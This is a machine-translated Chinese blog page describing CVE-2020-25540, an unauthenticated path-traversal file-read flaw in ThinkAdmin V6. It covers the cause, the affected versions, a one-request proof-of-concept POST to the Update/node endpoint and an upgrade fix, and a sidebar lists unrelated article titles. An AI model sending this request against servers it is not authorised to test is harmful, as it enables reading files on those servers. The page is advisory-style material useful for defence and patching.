当前位置:网站首页>Thinkadmin V6 arbitrary file read vulnerability (cve-2020-25540)
Thinkadmin V6 arbitrary file read vulnerability (cve-2020-25540)
2022-07-03 00:15:00 【Lomi only bear】
0x00: Vulnerability profile :
ThinkAdmin It's a set of bases ThinkPHP Framework of the general background management system ,ThinkAdmin Rights management of is based on Standards RBAC Simplify , It eliminates the complicated node management , Make permission management simpler , Specifically, it includes node management 、 Rights management 、 Menu management 、 User management .
ThinkAdmin 6 There is a path traversal vulnerability in version . An attacker can exploit this vulnerability through GET Request encoding parameters to arbitrarily read files on the remote server .
0x01 Causes of loopholes :
https://github.com/zoujingli/ThinkAdmin/blob/v6/app/admin/controller/api/Update.php
Update.php Function method in is not authorized , Direct functions can be called directly . It leads to loopholes .
0x02 scope :
Thinkadmin Version less than ≤ 2020.08.03.01
0x03 Loophole recurrence :
POC: POST /admin.html?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1 Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 22 rules=%5B%22.%2F%22%5D
0x04 Repair suggestions :
Upgrade to the latest version
边栏推荐
- QT 如何将数据导出成PDF文件(QPdfWriter 使用指南)
- Top Devops tool chain inventory
- Talk with the interviewer about the pit of MySQL sorting (including: duplicate data problem in order by limit page)
- Open source | Wenxin big model Ernie tiny lightweight technology, which is accurate and fast, and the effect is fully open
- AcWing_188. 武士风度的牛_bfs
- Installing redis under Linux
- Bean加载控制
- 洛谷_P1149 [NOIP2008 提高组] 火柴棒等式_枚举打表
- PR FAQ, what about PR preview video card?
- 大学生课堂作业2000~3000字的小论文,标准格式是什么?
猜你喜欢

附加:token;(没写完,别看…)

What are the recommended thesis translation software?

Mapper agent development
![[Verilog tutorial]](/img/15/d5e188a15e22fa44f1756fc492099d.jpg)
[Verilog tutorial]

Container runtime analysis

Digital twin smart factory develops digital twin factory solutions

TypeError: Cannot read properties of undefined (reading ***)

MySQL advanced learning notes (III)
![洛谷_P2010 [NOIP2016 普及组] 回文日期_折半枚举](/img/a3/55bb71d39801ceeee421a0c8ded333.png)
洛谷_P2010 [NOIP2016 普及组] 回文日期_折半枚举

基于OpenCV实现口罩识别
随机推荐
英文论文有具体的格式吗?
JDBC tutorial
cocospods 的使用
[error record] the flutter reports an error (could not resolve io.flutter:flutter_embedding_debug:1.0.0.)
How do educators find foreign language references?
The privatization deployment of SaaS services is the most efficient | cloud efficiency engineer points north
JVM foundation review
ArrayList分析2 :Itr、ListIterator以及SubList中的坑
Returns the root node of the largest binary search subtree in a binary tree
Chinatelecom has maintained a strong momentum in the mobile phone user market, but China Mobile has opened a new track
TypeError: Cannot read properties of undefined (reading ***)
leetcode 650. 2 keys keyboard with only two keys (medium)
Angled detection frame | calibrated depth feature for target detection (with implementation source code)
SQL query statement parameters are written successfully
Use of cocospods
基于OpenCV实现口罩识别
Digital twin visualization solution digital twin visualization 3D platform
Bigder:32/100 测试发现的bug开发认为不是bug怎么处理
国外的论文在那找?
Wechat applet basic learning (wxss)